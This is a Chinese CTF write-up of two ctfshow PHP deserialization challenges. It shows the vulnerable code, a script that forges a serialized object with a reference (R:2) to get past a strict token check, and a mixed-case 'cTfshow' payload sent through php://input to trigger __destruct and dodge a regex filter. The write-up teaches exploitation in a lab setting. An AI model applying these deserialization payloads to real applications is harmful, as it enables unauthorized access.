ctfshow(265->266)--反序列化漏洞--指针引用与php://input读取请求体

Web265

源代码:

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

代码审计:

包含了flag.php文件。
传参ctfshow,反序列化后赋值给对象ctfshow。
调用ctfshow对象的成员变量token,赋值为mt_rand()函数生成的随机数的md5加密编码。
调用login方法,当token与password强比较相同时,返回flag.

思路:

要想让token与password完全相同,只能让两个变量指向同一个内存地址,这样当token被重新赋值之后,password的值也随之改变,两个变量的值时刻相同。

PHP中,可以使用&符号进行地址传参。

$token=1;
$password=&$token;

这样就将token的地址传给了password,token改变时,password也改变。

脚本:

class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = new ctfshowAdmin(1,2);
$ctfshow->password = &$ctfshow->token;
echo serialize($ctfshow);
echo "<br />".urlencode(serialize($ctfshow));

运行结果:

O:12:"ctfshowAdmin":2:{s:5:"token";i:1;s:8:"password";R:2;}
O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3Bi%3A1%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D 

EXP:

payload:

https://ff11668f-d763-4fea-87d1-78965e9229ec.challenge.ctf.show/
?ctfshow=O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3Bi%3A1%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D

得到flag.

拓展:

指针引用
我们注意到脚本中构建的对象的序列化结果是这样的:

O:12:"ctfshowAdmin":2:{s:5:"token";i:1;s:8:"password";R:2;}

password的值变成了R:2
R代表引用类型,指针从对象本身开始,也就是如果要引用对象本身,则R:1。而第一个元素指针为2,所以这里是R:2。

Web266

源代码:

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

代码审计:

file_get_contents(‘php://input’) 用于读取请求体中的值,也就是我们POST方法传递的值。
__toString() 方法用于一个类被当成字符串使用时应怎样回应。
最后的正则匹配,如果匹配到ctfshow字符串,就会抛出错误,终止程序的运行。

思路:

我们可以控制的参数是 $cs,传参方法是在请求体中直接传入它的值。
绕过对ctfshow的过滤,即可执行析构函数__destruct,从而得到flag.

构造序列化字符串应该是这样的:

O:7:"ctfshow":2:{s:8:"username";i:1;s:8:"password";i:2;}

对ctfshow进行大小写混写绕过即可。

EXP:

在请求体中输入payload:

O:7:"cTfshow":2:{s:8:"username";i:1;s:8:"password";i:2;}

在这里插入图片描述在请求体中输入就不要url编码了,直接传即可。
得到flag.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/902871.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

企业贷款大揭秘:税贷VS票贷,哪个更适合你?

在金融界&#xff0c;资金就像是现代经济的血液&#xff0c;特别是对于企业的发展来说&#xff0c;银行的资金支持简直是不可或缺的。最近&#xff0c;多家银行可是动作频频&#xff0c;加快了资金投放的步伐&#xff0c;尤其是制造业、小微企业、专精特新以及“三农”这些领域…

网络编程 Linux环境 C语言实现

进程间通信的延续 跨电脑进程间通信 一、远程通信方式 电路交换------老式有线电话通信 ​ 报文交换 ​ 分组交换 支持分时机制的(分片机制)报文交换 ​现行网络大部分都是采用分组交换形式 二、网络&互联网&因特网 网络Network&#xff1a;多台计算机通过某种传输…

Javaee---多线程(一)

文章目录 1.线程的概念2.休眠里面的异常处理3.实现runnable接口4.匿名内部类子类创建线程5.匿名内部类接口创建线程6.基于lambda表达式进行线程创建7.关于Thread的其他的使用方法7.1线程的名字7.2设置为前台线程7.3判断线程是否存活 8.创建线程方法总结9.start方法10.终止&…

微积分复习笔记 Calculus Volume 1 - 3.5 Derivatives of Trigonometric Functions

3.5 Derivatives of Trigonometric Functions - Calculus Volume 1 | OpenStax

西门子S7-200 SMART 多泵轮换功能库案例下载

通用描述 在现场使用多台风机水泵的场合&#xff0c;需要考虑对多台风机水泵进行轮换&#xff0c;因此如何合 理的对多台风机水泵进行轮换就成了一道难题&#xff0c;本文针对上述情况&#xff0c;专门开发了多 泵轮换的应用库&#xff0c;可以方便统计泵的运行时间&#xf…

Python print()输出颜色设置

标准格式 print("\033[显示方式&#xff1b;前景颜色&#xff1b;背景颜色m…\033[0m") 显示方式 前景颜色和背景颜色 print("\033[0;37;41m我是小杨我就这样\033[0m") print("\033[0;37;42m我是小杨我就这样\033[0m") print("\033[0;37;…

AI助理与知识库:企业新人培训的革新力量

在快速变化的商业环境中&#xff0c;企业新人培训模式的创新已成为提升组织效能的关键。特别是人工智能&#xff08;AI&#xff09;助理的引入&#xff0c;结合知识库的应用&#xff0c;为企业新人培训带来了革命性的变化。以下是对这一变革的深入探讨与前景展望&#xff0c;旨…

文本转语音工具 | Balabolka v2.15.0.880 便携版

Balabolka是一款功能强大的文本转语音&#xff08;TTS&#xff09;软件&#xff0c;它能够将文字转换成语音并保存为多种音频格式&#xff0c;如WAV、MP3、OGG或WMA。这款软件兼容多种文件格式&#xff0c;包括但不限于AZW、CHM、DjVu、DOC、EPUB、FB2、LIT、MOBI、ODT、PDF、P…

3.堆栈的理解

堆栈是同一段进行插入删除的线性表 &#xff08;先入后出&#xff09; 栈式最基础的常见的数据结构之一 进入一个新的函数的时候 会开辟一个空间&#xff0c;存放需要的数据 int add(int a,int b,int c) {return abc } int main() {add(1,2,3) }//add&#xff08;1&#xff…

Redis 线程控制 总结

前言 相关系列 《Redis & 目录》&#xff08;持续更新&#xff09;《Redis & 线程控制 & 源码》&#xff08;学习过程/多有漏误/仅作参考/不再更新&#xff09;《Redis & 线程控制 & 总结》&#xff08;学习总结/最新最准/持续更新&#xff09;《Redis &a…

https://huggingface.co/上的模型无法用linux服务器clone怎么办(只需要稍微改一下网址,就可以切换到镜像下载)

问题描述&#xff1a; 在ubuntu系统上&#xff0c;使用如下命令&#xff0c;克隆仓库&#xff0c;报无法访问错误&#xff1a; git clone https://huggingface.co/distilbert/distilroberta-base通用解决方案&#xff1a; 把下面部分更换&#xff1a; https://huggingface.…

Scrapy框架原理与使用流程

一.Scrapy框架特点 框架&#xff08;Framework&#xff09;是一种软件设计方法&#xff0c;它提供了一套预先定义的组件和约定&#xff0c;帮助开发者快速构建应用程序。框架通常包括一组库、工具和约定&#xff0c;它们共同工作以简化开发过程。scrapy框架是python写的 为了爬…

为什么有0.35/Tr这一信号带宽定义

从频域幅值函数可以近似认为这是一个低通滤波器模型&#xff0c;可以采用RC网络模型来处理&#xff0c;根据电路理论计算电压10%到90%所需上升时间&#xff0c;再根据滤波器频域特性计算幅值在-3db处的频率极限&#xff0c;通过两个关系式可以计算出频率极大值和上升时间关系&a…

<<机器学习实战>>15-26节笔记:逻辑回归参数估计、梯度下降及优化、模型评价指标

梯度下降缺点&#xff1a;有可能有鞍点&#xff08;如果不是凸函数的时候&#xff09;&#xff0c;不一定能找到最小值解决方法&#xff1a;随机梯度下降&#xff08;选一条数据&#xff09;和小批量梯度下降&#xff08;选几条数据这两个解决方法又会带来新问题&#xff0c;比…

51单片机完全学习——LCD1602液晶显示屏

一、数据手册解读 通过看数据手册我们需要知道&#xff0c;这个屏幕每个引脚的定义以及如何进行发送和接收。通过下面这张图我们就可以知道&#xff0c;这些引脚和我们的编程是有关的&#xff0c;需要注意的是&#xff0c;这里我们在接线的时候&#xff0c;一定要把DB0-DB7接到…

变流升压一体机:能源领域的新兴力量与优秀品牌

在当今能源转型的大背景下&#xff0c;变流升压一体机作为一种创新型的电力设备&#xff0c;正逐渐成为新能源领域的关键角色。 变流升压一体机是一种综合性很强的光伏箱式变电站设备&#xff0c;它将储能变流器、升压变压器、高压环网柜、低压配电箱等多种设备集成在一个集装箱…

LeetCode.冗余连接(并查集以及广度优先搜索)

684.冗余连接| 传送门&#xff1a;. - 力扣&#xff08;LeetCode&#xff09; 树可以看成是一个连通且 无环 的 无向 图。 给定往一棵 n 个节点 (节点值 1&#xff5e;n) 的树中添加一条边后的图。添加的边的两个顶点包含在 1 到 n 中间&#xff0c;且这条附加的边不属于树中…

上线 24 小时,爆了!

产研团队&#xff08;兼客服&#xff09;已爆单&#x1f525;&#x1f680;&#x1f4a5;&#xff01;&#xff08;bushi&#xff09; 在此由衷感谢各位小伙伴的信任&#x1f929;&#xff01; 还没有试用的小伙伴赶紧去围观&#x1f447;️&#x1f447;️&#x1f447;️ …

高效数据集成案例:从聚水潭·奇门到MySQL

聚水潭奇门数据集成到MySQL的技术案例分享 在企业信息化建设中&#xff0c;数据集成是实现业务流程自动化和数据统一管理的关键环节。本文将分享一个具体的系统对接集成案例&#xff1a;如何将聚水潭奇门平台上的销售出库单数据高效、可靠地集成到MySQL数据库中&#xff0c;以…

AUTOSAR-Com模块

COM 文章目录 COMCOM 基础介绍COM主要功能AUTOSAR COM 模块 发送模型Signal 信号/信号组发送信号属性—Triggered属性Pending属性信号的初始化信号的对齐方式&#xff08;大小端&#xff09;信号的收发发送接收 字节序转换和符号扩展信号的过滤机制过滤处理信号传输模式信号流和…